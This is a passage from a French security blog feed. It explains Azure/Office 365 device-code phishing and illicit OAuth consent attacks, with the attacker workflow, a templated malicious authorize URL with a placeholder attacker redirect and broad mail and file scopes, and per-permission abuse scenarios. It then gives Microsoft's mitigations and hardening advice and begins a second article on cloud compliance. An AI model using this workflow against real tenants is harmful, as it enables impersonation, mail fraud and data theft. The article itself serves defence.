<p style="text-align: justify;">Cette attaque <em>repose sur la </em><strong>fonctionnalité d’octroi d’autorisation d’appareil</strong> (device authorization grant)<a href="#_ftn1" name="_ftnref1">[1]</a>. Cette méthode d’authentification permet <strong>d’authentifier un utilisateur sur un appareil ne disposant pas de navigateur web.</strong> Un code s’affichant sur cet appareil doit alors être renseigné sur un ordinateur ou un smartphone via le site de Microsoft dédié. Cet <strong>appareil disposera ensuite d’une partie des droits d’accès aux ressources Office 365 que l’utilisateur ayant renseigné le code</strong>.</p>
<p style="text-align: justify;">Cette <strong>procédure peu connue des utilisateurs</strong>, peut être exploitée par un attaquant à des fins malveillantes :</p>
<ul style="text-align: justify;">
<li>L’attaquant génère tout d’abord un code d’appareil, en utilisant le même processus utilisé par les appareils ne disposant pas de navigateur web.</li>
<li>Ensuite, l’objectif de l’attaquant sera d’amener la victime à renseigner son code d’appareil sur la page <span style="color: #048b9a;">https://microsoft.com/devicelogin</span>. Par exemple, l’attaquant pourrait prétexter que pour accéder à un document sensible, il est nécessaire de se connecter à ce lien en utilisant le code qu’il a généré.</li>
<li><strong>Si la cible accède au lien, renseigne le code et s’authentifie,</strong> cela <strong>permettra à l’attaquant d’usurper l&rsquo;identité </strong>de la victime.</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20132 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image2-2.png" alt="" width="3575" height="2521" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image2-2.png 3575w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image2-2-271x191.png 271w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image2-2-55x39.png 55w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image2-2-768x542.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image2-2-1536x1083.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image2-2-2048x1444.png 2048w" sizes="auto, (max-width: 3575px) 100vw, 3575px" /></p>
<p style="text-align: center;"><em>Exemple d’attaque par hameçonnage par device code</em></p>
<p style="text-align: justify;">Cette attaque est <strong>plus difficile à réaliser pour un attaquant</strong> en raison de la <strong>faible durée de vie des « device codes »</strong> : ces derniers sont uniquement valables pendant une <strong>durée de 15min</strong> et doivent donc être générés peu de temps avant que l’utilisateur ne le renseigne. Cette attaque est donc plus facilement réalisable dans le cadre d’<strong>attaques par « phoning » ou de phishing via Teams</strong>. Par exemple, l’attaquant pourrait appeler la victime, prétexter faire partie de l’équipe du support IT de l’entreprise pour demander à l’utilisateur de s’authentifier sur le lien indiqué et de renseigner le code de son choix.</p>
<p style="text-align: justify;">Pour se prémunir contre ce type d’attaque, les <strong>politiques d’accès conditionnel</strong> sur Azure permettent notamment <strong>d’interdire les connexions suspicieuses provenant d’appareil non maitrisés par l’entreprise.</strong></p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">L’attaque par consentement illicite</h2>
<p style="text-align: justify;">En plus de ces deux méthodes, l’attaque par consentement illicite permet aussi à un attaquant de récupérer un accès à un environnement Azure de manière illégitime. Cette dernière était même initialement plus simple à mettre en œuvre pour un attaquant que les attaques via l’authentification « device code ». Face à la recrudescence de cette menace, <strong>des actions ont été menées en 2020 par Microsoft pour limiter les conditions de réalisation de l’attaque.</strong> Si des configurations durcies d’Azure permettent de totalement bloquer cette menace, les configurations implémentées par certaines entreprises les exposent à ce type d’attaque. Quels sont les <strong>prérequis </strong>pour la réalisation d’une telle attaque, quelles sont les <em>c</em><strong>onséquences possibles et comment s’en prémunir </strong>?</p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">Qu’est-ce qu’une attaque par consentement illicite ?</h1>
<p style="text-align: justify;">Pour <strong>comprendre le principe</strong> de cette attaque, mettons-nous <strong>dans la peau d’un employé</strong> victime d’une telle attaque :</p>
<ul style="text-align: justify;">
<li>La victime reçoit un<strong> mail d’hameçonnage</strong> indiquant une action urgente à réaliser pour maintenir son compte Microsoft activé. Les employés sont sensibilisés à ne pas cliquer sur des liens de phishing et à ne pas entrer leur mot de passe sur des plateformes inconnues. Le <strong>lien </strong>sous le format <span style="color: #048b9a;">https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=&lt;CLIENT_ID&gt;&amp;redirect_uri=&lt;Attacker_controled_URL&gt;&amp;response_type=code&amp;response_mode=query&amp;scope=Mail.ReadWrite%20Files.Read.All%20Mail.Send%20User.Read</span> contient un <strong>domaine associé à Microsoft</strong>, ce qui rassure la victime.</li>
<li>En cliquant sur le lien, la victime doit s’authentifier. Cette authentification est souvent automatique puisqu’elle bénéficie de l’authentification unique (SSO) de Microsoft. La victime reçoit alors <strong>une demande de délégation de permissions:</strong></li>
</ul>
<p> </p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20144 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagebis.png" alt="" width="493" height="696" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagebis.png 493w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagebis-135x191.png 135w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagebis-28x39.png 28w" sizes="auto, (max-width: 493px) 100vw, 493px" /></p>
<p style="text-align: center;"><em>L’application malveillante demande à l’utilisateur de lui déléguer ses permissions</em></p>
<ul style="text-align: justify;">
<li>Si la victime clique sur « Annuler » par prudence, elle est redirigée vers le serveur de l’attaquant avec une URL du type <span style="color: #048b9a;">&lt;Attacker_controled_URL&gt;/?error=consent_required &amp;error_description=AADSTS65004%3a+User+declined+to+consent+to+access+the+app.&amp;error_uri=https%3a%2f%2flogin.microsoftonline.com%2ferror%3fcode%3d65004#</span>. L’attaquant, comprenant que la victime n’a pas accepté la délégation de permissions, peut ensuite <strong>rediriger la victime sur la page de phishing</strong>, lui <strong>donnant l’impression que les permissions demandées doivent être acceptées</strong> pour passer à l’étape suivante.</li>
<li>En raison du nom de domaine légitime et la vue de l’urgence indiquée dans le mail d’hameçonnage, la <strong>victime de l’attaque choisit d’accepter</strong><em>.</em> Elle observe alors un message indiquant que son compte sera bien maintenu activé, comme suggéré dans le mail initial. Elle reprend donc une activité normale.</li>
</ul>
<p style="text-align: justify;">Or, ce consentement permet à l’attaquant de réaliser <em>des actions au nom de la victime</em>, en fonction des permissions accordées. A noter que l’attaque par consentement illicite a de <em>nombreux avantages</em> pour un attaquant, notamment :</p>
<ul style="text-align: justify;">
<li>L’<strong>utilisation d’une URL associée à Microsoft</strong> lors de la demande de consentement, considérée comme de confiance et impliquant donc moins de méfiance de la part des utilisateurs ciblés.</li>
<li>L’obtention d’un <strong>accès persistant</strong> pendant 90 jours, sans connaissance du mot de passe de l’utilisateur ni du second facteur d’authentification, si aucune stratégie d’accès conditionnels n’est implémentée.</li>
<li>La possibilité de <strong>requêter directement les APIs de Microsoft</strong> pour récupérer de manière automatisée les fichiers, emails et autres ressources de l’entreprise accessibles par l’utilisateur piégé.</li>
</ul>
<p style="text-align: justify;"> </p>
<h4 style="text-align: justify;">Aparté technique</h4>
<p style="text-align: justify;">D’un point de vue technique, <strong>l’attaque par consentement illicite repose sur la capacité d’un attaquant à créer une application demandant des délégations de permissions</strong>. La délégation de permission est une fonctionnalité qui est régulièrement utilisée par les utilisateurs sans qu’ils s’en rendent compte, par exemple le client Outlook est autorisé par défaut à récupérer et les notifier de l’arrivée de nouveaux emails.</p>
<p style="text-align: justify;">Voici les étapes clés lors de la réalisation de ce type d’attaque (qui repose sur la cinématique Authorization Code Grant d’OAuth 2.0) :</p>
<ul style="text-align: justify;">
<li>L’attaquant <strong>crée une application d’entreprise sur Azure AD</strong> (<span style="color: #048b9a;">application registration</span>) et <strong>configure les permissions</strong> qu’il souhaite obtenir <strong>de la part des utilisateurs</strong>. Il peut instancier également un « <strong>client_secret</strong>» sur l’application. Certaines contraintes liées à cette application sont détaillées plus bas.</li>
<li>Il met en place un <strong>serveur vers lequel les utilisateurs seront redirigés</strong> suite aux consentements et indique son URL en tant qu’<strong>URL de redirection valide pour l’application</strong>.</li>
<li>À la suite du <strong>consentement d’un utilisateur</strong>, celui-ci sera <strong>redirigé vers le site</strong> malveillant et un <strong>code sera fourni à l’attaquant.</strong> Ce code est la preuve à montrer à Microsoft que l’utilisateur autorise l’application à faire des actions en son nom.</li>
<li>A l’aide de <em>ce code</em> et du « <strong>client_secret </strong>» de l’application, l’attaquant pourra <strong>récupérer un jeton OAuth</strong>. Ce jeton est un <em>r</em><strong>écépissé signé par Microsoft</strong> qui précise les <strong>actions que la victime autorise à faire en son nom</strong>. L’attaquant peut également récupérer un « refresh_token » permettant de <strong>renouveler la validité du jeton OAuth</strong>.</li>
<li>Ce jeton OAuth est alors utilisable pour envoyer des <strong>requêtes à la Graph API</strong> au nom de la victime et par conséquent permet d’<strong>usurper son identité</strong>.</li>
</ul>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-20136 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image3-2.png" alt="" width="3169" height="1701" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image3-2.png 3169w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image3-2-356x191.png 356w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image3-2-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image3-2-768x412.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image3-2-1536x824.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image3-2-2048x1099.png 2048w" sizes="auto, (max-width: 3169px) 100vw, 3169px" /></p>
<p> </p>
<h1 style="text-align: justify;">Quelles sont les conséquences d’une telle attaque ?</h1>
<p style="text-align: justify;">Si certaines <strong>permissions nécessitent par défaut l’approbation d’un administrateur pour être déléguées</strong>, d’autres permissions peuvent être déléguées directement par les utilisateurs dans les environnements Azure non durcis. Les <strong>permissions pouvant être récupérées</strong> par l’attaquant lors de ce type d’attaque <strong>dépendent donc de la configuration du tenant Azure AD ciblé</strong>.</p>
<p style="text-align: justify;">Voici quelques exemples d’abus possibles par un attaquant qui aurait réussi à récupérer les permissions d’un utilisateur sur un environnement non durci.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20140 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image4-3.png" alt="" width="3083" height="1323" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image4-3.png 3083w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image4-3-437x188.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image4-3-71x30.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image4-3-768x330.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image4-3-1536x659.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image4-3-2048x879.png 2048w" sizes="auto, (max-width: 3083px) 100vw, 3083px" /></p>
<p style="text-align: center;"><em>Actions réalisables à la suite d’une attaque par consentement illicite réussie sur en environnement Azure non durci</em></p>
<ul style="text-align: justify;">
<li><strong>Azure Active Directory :</strong>
<ul>
<li>La permission <span style="color: #048b9a;">Microsoft Graph User.ReadBasic.All</span> permet de <strong>récupérer les adresses email des tous les utilisateurs d’un tenant</strong>, ce qui permet de déployer des attaques de phishing à plus grande échelle à partir d’une première compromission.</li>
</ul>
</li>
<li><strong>Outlook :</strong>
<ul>
<li>L’envoi d’un email au nom d’un utilisateur peut permettre la réalisation d’attaques dites de « <strong>fraude au président </strong>» à l’aide des permissions <span style="color: #048b9a;">Microsoft Graph Mail.Send</span> et <span style="color: #048b9a;">Mail.ReadWrite</span>. Un employé compromis disposant d’un niveau hiérarchique élevé pourrait par exemple demander par email l’envoi en urgence d’une somme important d’argent à un compte non répertorié par l’entreprise.</li>
<li>Les emails envoyés peuvent également être dissimulés à l’aide de <strong>règles de filtrage Outlook</strong> pouvant être modifiées à l’aide de la permission <span style="color: #048b9a;">MailboxSettings.ReadWrite</span>. L’attaquant pourra alors <strong>rediriger tous les emails</strong> liés à son attaque et les réponses associées vers un dossier différent des boites d’envoi et de réception.</li>
</ul>
</li>
<li><strong>Teams :</strong>
<ul>
<li>La <strong>lecture et l’envoi de messages</strong> via Teams (<span style="color: #048b9a;">Microsoft Graph Chat.ReadWrite</span>) est une méthode efficace pour un attaquant d’usurper l’identité d’un utilisateur. Cette méthode peut également être utilisée pour réaliser des attaques de « <strong>fraude au président </strong>».</li>
</ul>
</li>
<li><strong>OneDrive et SharePoint :</strong>
<ul>
<li>L’accès en lecture aux <strong>fichiers accessibles sur OneDrive et SharePoint</strong> (<span style="color: #048b9a;">Microsoft Graph Files.Read.All</span>) peut donner accès à l’ensemble des fichiers accessibles par l’utilisateur. De plus, les droits d’accès aux fichiers SharePoint sont souvent<strong> stockés avec des droits d’accès permissifs</strong> ce qui permet aux attaquants de récupérer un très grand nombre de <strong>fichiers</strong>. Il n’est pas rare par exemple d’avoir à accès à des scripts ou fichiers de configurations contenant des mots de passe en clair.</li>
<li>Par ailleurs, les fonctionnalités de recherche de SharePoint, permettant notamment la lecture et l’indexation du contenu des fichiers Office, peuvent être utilisées afin de cibler certains mots clés tels que « mot de passe ».</li>
<li>Les droits d’écriture sur un fichier SharePoint (<span style="color: #048b9a;">Microsoft Graph Files.ReadWrite.All</span>) peuvent également avoir un impact important : les fonctionnalités de versioning de SharePoint limitent par défaut l’enregistrement des anciennes versions des fichiers à 100 versions. Cela signifie qu’en cas de réécritures automatisées et successives plus de 100 fois, <strong>la version initiale du fichier ne serait plus récupérable</strong>. Cela permettrait donc à un attaquant d’<strong>effacer un grand nombre de données</strong> en cas de compromission d’un compte disposant de droits d’écriture sur des fichiers sensibles. En cas d’effacement, il faudrait alors contacter le support Microsoft pour tenter de récupérer les données sur les sauvegardes quotidiennes à froid.</li>
</ul>
</li>
<li><strong>OneNote :</strong>
<ul>
<li>Les fichiers OneNote synchronisés (<span style="color: #048b9a;">Microsoft Graph Notes.ReadWrite</span> ou <span style="color: #048b9a;">Read.All</span>) peuvent contenir des informations sensibles tels que des <strong>comptes-rendus de réunion, confidentielles, mais aussi des informations techniques</strong> telles que des mots de passes stockés de manière non sécurisée.</li>
</ul>
</li>
<li><strong>Ressources Azure </strong>:
<ul>
<li>L’accès aux <em>key vaults</em> et <em>storage accounts</em> (<span style="color: #048b9a;">Azure Key Vault</span> et <span style="color: #048b9a;">Azure Storage user_impersonation</span>) peuvent donner accès à des éléments sensibles <strong>en cas de compromission de comptes de développeurs</strong> ou d’utilisateurs techniques. Ces éléments peuvent <strong>faciliter la compromission de ressources Azure</strong> telles que des machines virtuelles et servir de <strong>point de rebond pour un attaquant externe</strong>.</li>
</ul>
</li>
</ul>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Ces actions peuvent avoir de <strong>graves impacts</strong> pour une entreprise. Par ailleurs, elles peuvent <strong>faciliter la réalisation d’attaques plus élaborées</strong> en divulguant des informations sensibles à un attaquant externe.</p>
<p style="text-align: justify;"><strong>En cas d’approbation par un administrateur,</strong> des permissions plus sensibles peuvent être récupérées comme l’accès en écriture à <strong>l’ensemble des informations de l’annuaire Azure Active Directory</strong>.</p>
<p style="text-align: justify;">Enfin, les administrateurs disposent du <strong>droit de déléguer à une application les permissions de tous les utilisateurs</strong> du tenant. Dans cette éventualité, l’identité de l’ensemble des utilisateurs pourraient être usurpée pour la permission déléguée.</p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">La mise en place par Microsoft du « risk-based consent step up » pour limiter les attaques par consentement illicite</h1>
<p style="text-align: justify;">Face à cette menace <strong>Microsoft a implémenté en novembre 2020</strong> des protections supplémentaires pour limiter l’impact de ce type d’attaques. La fonctionnalité de « <strong>risk-based consent step up</strong> » a pour objectif de <strong>lever un avertissement</strong> et de demander <strong>la validation d’un administrateur</strong> en cas de <strong>demande</strong> de permission <strong>semblant frauduleuse</strong>.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20146 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imageter.png" alt="" width="397" height="412" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imageter.png 397w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imageter-184x191.png 184w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imageter-38x39.png 38w" sizes="auto, (max-width: 397px) 100vw, 397px" /></p>
<p style="text-align: center;"><em>La demande d’accès depuis une application non vérifiée de droits considérés comme sensible est bloquée par défaut</em></p>
<p style="text-align: justify;">Celle-ci s’applique dans le cas d’une <strong>demande de permissions par une application non vérifiée crée hors du tenant ciblée</strong>. Par défaut, toutes les permissions sont concernées, à l’exception de la lecture du profil de l’utilisateur cible, pour faciliter l’authentification unique (SSO) avec des applications tierces.</p>
<p style="text-align: justify;">Cette restriction est <strong>implémentée par défaut</strong> sur tous les tenants Azure.</p>
<p style="text-align: justify;">Si <strong>ces restrictions permettent de limiter les attaques</strong>, 3 types d’applications sont <strong>cependant toujours utilisables à des fins malveillantes</strong><em> :</em> les applications « legacy », les applications internes au tenant ciblé et les applications vérifiées.</p>
<ul style="text-align: justify;">
<li><strong>Applications « legacy » :</strong>
<ul>
<li>Afin de permettre une <strong>rétrocompatibilité, aucun message d’avertissement n’est affiché </strong>pour une demande de permissions provenant d’une <strong>application créée avant novembre 2020</strong>.</li>
<li><em>Prérequis pour l’attaquant</em><strong> :</strong> disposer d’une <strong>application créée sur un tenant Azure avant novembre 2020</strong> ou compromettre un tenant contenant de telles applications.</li>
</ul>
</li>
<li><strong>Applications internes au tenant ciblé :</strong>
<ul>
<li>Ces applications <strong>ne sont pas couvertes par le « risk based consent step up »</strong><em>.</em> Par défaut, tous les utilisateurs d’un tenant Azure disposent du droit de <strong>création d’une application d’entreprise sur leur tenant</strong> ce qui facilite la réalisation de l’attaque sur un environnement non durci.</li>
<li><em>Prérequis pour l’attaquant </em>: disposer d’un premier compte compromis sur le SI de l’entreprise ciblée, s’apercevoir que la création des applications est autorisée pour les utilisateurs standards et <strong>déployer une application interne au tenant.</strong></li>
</ul>
</li>
<li><strong>Applications vérifiées :</strong>
<ul>
<li>Les applications vérifiées ne sont pas couvertes par le « risk based consent step up ». La procédure de vérification de Microsoft nécessite d’intégrer le Microsoft Partner Network.</li>
<li><em>Prérequis pour l’attaquant</em><strong> :</strong> disposer d’une <strong>application vérifiée</strong> ou <strong>compromettre un tenant Azure disposant d’applications vérifiées</strong> et détourner l’utilisation de ces applications légitimes.</li>
</ul>
</li>
</ul>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">Remédiations possibles</h1>
<p style="text-align: justify;">Afin de limiter la probabilité et l’impact de telles attaques, les recommandations suivantes peuvent être <strong>appliquées et adaptées au contexte de l’entreprise :</strong></p>
<ul style="text-align: justify;">
<li>Autoriser <strong>uniquement les applications explicitement approuvées par les administrateurs</strong>. Cette configuration est la plus sécurisée, mais l’étape de validation peut constituer un goulot d’étranglement puisque ce sont généralement les Global Administrators et Privileged Role Administrators qui doivent faire la validation. En pratique, certains droits peuvent être aussi délégués via les Cloud Application Administrators ou les Application Administrators.</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20149 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagequa.png" alt="" width="1392" height="522" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagequa.png 1392w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagequa-437x164.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagequa-71x27.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagequa-768x288.png 768w" sizes="auto, (max-width: 1392px) 100vw, 1392px" /></p>
<p style="text-align: center;"><em>Le consentement de délégation de privilèges par les utilisateurs standards peut être bloqué via les configurations Azure AD</em></p>
<ul style="text-align: justify;">
<li><strong>Limiter les permissions pour lesquelles les délégations peuvent être réalisées</strong>. Un administrateur peut spécifier les permissions à faible risque (Low) pour lesquelles les délégations peuvent être directement faites par les utilisateurs.</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20151 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagecin.png" alt="" width="949" height="361" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagecin.png 949w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagecin-437x166.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagecin-71x27.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagecin-768x292.png 768w" sizes="auto, (max-width: 949px) 100vw, 949px" /></p>
<p style="text-align: center;"><em>Le consentement de délégation de privilèges par les utilisateurs standards peut être limité aux droits considérés non sensibles via les configurations Azure AD</em></p>
<ul style="text-align: justify;">
<li>Créer un <strong>processus de validation des applications légitimes et de admin consent workflow pour tracer et justifier ces validations</strong>. En durcissant les modalités d’octroi de consentements, il est nécessaire de conjointement mettre en place un manière simple et intuitive pour les utilisateurs de demander des dérogations pour déléguer des permissions liées à des cas d’usage légitimes. Ces exceptions doivent être tracées et justifiées afin de s’assurer de la légitimité des demandes.</li>
<li>Faire une <strong>revue régulière des droits délégués aux applications</strong> (<span style="color: #048b9a;">Entreprise applications</span>) : les permissions déléguées par les utilisateurs doivent être revues afin de s’assurer que seules des applications légitimes disposent de droits sur les ressources Office 365 du tenant.</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20153 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagesext.png" alt="" width="1392" height="389" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagesext.png 1392w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagesext-437x122.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagesext-71x20.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagesext-768x215.png 768w" sizes="auto, (max-width: 1392px) 100vw, 1392px" /></p>
<p style="text-align: center;"><em>La revue régulière des applications disposant de droits sur un tenant Azure permet de valider que les privilèges octroyés sont toujours d’actualité</em></p>
<ul style="text-align: justify;">
<li>Superviser les accès suspects aux ressources Office 365. Il est possible par exemple de mettre en place des <strong>règles d&rsquo;alerte</strong> sur le nombre de fichiers téléchargés sur un temps court afin d’identifier les <strong>tentatives d’exfiltration de données</strong>.</li>
<li><strong>Limiter les droits d’accès aux fichiers SharePoint au strict nécessaire</strong>: les fichiers accessibles à tous les utilisateurs d’un tenant doivent être vérifiés à intervalle régulier et les droits d’accès aux fichiers les plus sensibles doivent être revus pour s’assurer que seules les personnes nécessaires y ont accès.</li>
</ul>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">Conclusion</h1>
<p style="text-align: justify;">Les <strong>différentes attaques par phishing</strong> présentées dans cet article reposent sur un <strong>manque de durcissement des configurations Azure AD</strong>. La <strong>mise en place d’un second facteur d’authentification</strong>, bien que nécessaire face aux attaques par phishing traditionnelles, n’est pas suffisante pour se prémunir des autres attaques présentées. Pour les attaques via l’authentification « device code », les administrateurs peuvent <strong>mettre en place des politiques d’accès conditionnel</strong> pour limiter les connexions suspicieuses provenant d’appareil non maitrisés par l’entreprise. Pour les attaques par consentement illicite, la mesure la plus efficace consiste à <strong>autoriser uniquement les applications approuvées par les administrateurs.</strong></p>
<p style="text-align: justify;"><strong>Ces trois éléments de durcissement,</strong> bien que simples en apparence, peuvent faire l’objet de <strong>véritables chantiers de sécurisation</strong> afin de <strong>prendre en compte l’historique,</strong> notamment en s’assurant que les applications existantes ne soient pas bloquées par ces mesures, et en <strong>implémentant des processus </strong>de revues régulières et de validation des nouvelles applications.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Bibliographie</h3>
<p style="text-align: justify;"><a href="https://aadinternals.com/post/phishing/">https://aadinternals.com/post/phishing/</a></p>
<p style="text-align: justify;"><a href="https://jeffreyappel.nl/protect-against-oauth-consent-phishing-attempts-illicit-consent-attack/">https://jeffreyappel.nl/protect-against-oauth-consent-phishing-attempts-illicit-consent-attack/</a></p>
<p style="text-align: justify;"><a href="https://positivethinking.tech/insights/what-is-an-illicit-consent-grant-attack-in-office-365/">https://positivethinking.tech/insights/what-is-an-illicit-consent-grant-attack-in-office-365/</a></p>
<p style="text-align: justify;"><a href="https://docs.microsoft.com/en-us/azure/active-directory/develop/publisher-verification-overview">https://docs.microsoft.com/en-us/azure/active-directory/develop/publisher-verification-overview</a></p>
<p style="text-align: justify;"><a href="https://learn.microsoft.com/en-us/azure/active-directory/manage-apps/user-admin-consent-overview">https://learn.microsoft.com/en-us/azure/active-directory/manage-apps/user-admin-consent-overview</a></p>
<p style="text-align: justify;"><a href="https://learn.microsoft.com/en-us/security/operations/incident-response-playbook-app-consent">https://learn.microsoft.com/en-us/security/operations/incident-response-playbook-app-consent</a></p>
<p style="text-align: justify;"><a href="https://www.microsoft.com/en-us/security/blog/2021/07/14/microsoft-delivers-comprehensive-solution-to-battle-rise-in-consent-phishing-emails/">https://www.microsoft.com/en-us/security/blog/2021/07/14/microsoft-delivers-comprehensive-solution-to-battle-rise-in-consent-phishing-emails</a></p>
<p style="text-align: justify;"><a href="#_ftnref1" name="_ftn1">[1]</a> <a href="https://learn.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-device-code">https://learn.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-device-code</a></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2023/03/les-attaques-par-consentement-illicite-ciblant-azure-et-office-365-une-menace-toujours-dactualite/">Les attaques par consentement illicite ciblant Azure et Office 365 : une menace toujours d’actualité ?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2023/03/les-attaques-par-consentement-illicite-ciblant-azure-et-office-365-une-menace-toujours-dactualite/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Conformité dans le Cloud, un nouveau paradigme</title>
		<link>https://www.riskinsight-wavestone.com/2022/10/conformite-dans-le-cloud-un-nouveau-paradigme/</link>
					<comments>https://www.riskinsight-wavestone.com/2022/10/conformite-dans-le-cloud-un-nouveau-paradigme/#respond</comments>
		
		<dc:creator><![CDATA[Etienne Lafore]]></dc:creator>
		<pubDate>Fri, 07 Oct 2022 08:00:00 +0000</pubDate>
				<category><![CDATA[Cloud & Next-Gen IT Security]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[Cloud]]></category>
		<category><![CDATA[CSPM]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=18839</guid>

					<description><![CDATA[<p>Retour d’expérience sur AWS et Azure Les erreurs de configuration dans les environnements Cloud sont encore source d’incidents majeurs et ce n’est pas près de s’arrêter. L’actualité regorge d’exemples : fuite de 1 milliard de donnés de citoyens lié à une...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2022/10/conformite-dans-le-cloud-un-nouveau-paradigme/">Conformité dans le Cloud, un nouveau paradigme</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h1 style="text-align: justify;" align="center">Retour d’expérience sur AWS et Azure</h1>
<p style="text-align: justify;">Les erreurs de configuration dans les environnements Cloud sont encore source d’incidents majeurs et ce n’est pas près de s’arrêter. L’actualité regorge d’exemples : <a href="https://twitter.com/cz_binance/status/1543905416748359680">fuite de 1 milliard de donnés de citoyens lié à une fuite de clé</a>,  <a href="https://lambdascientifica.com/new-office-365-phishing-campaign-used-stolen-kaspersky-amazon-ses-token-to-trick-victims/">campagne de phishing utilisant une clés AWS de Kaspersky</a>, <a href="https://gizmodo.com/iranian-chat-app-gets-its-data-wiped-out-in-a-cyberatta-1846181651">mauvaise configuration d’une base de données NoSQL</a>, <a href="https://www.darkreading.com/application-security/cloud-misconfig-exposes-3tb-sensitive-airport-data-amazon-s3-bucket">3TB de données sensibles des aéroports</a>…</p>
<p style="text-align: justify;">L’objectif de cet article est de voir comment anticiper un tel scénario en mettant en œuvre une Tour de contrôle (ou outil de supervision continue de la configuration des ressources Cloud).</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Avant toute chose, un peu de théorie sur les logs</h2>
<p style="text-align: justify;">Les logs cloud peuvent être répartis en 3 catégories :</p>
<ul style="text-align: justify;">
<li><strong>System logs</strong>: Ils sont générés par les OS et les applications hébergées en mode IaaS/CaaS. Les enjeux ne sont pas différents d’un SI classique on premise, seule l’architecture de collecte de logs peut être à adapter.</li>
</ul>
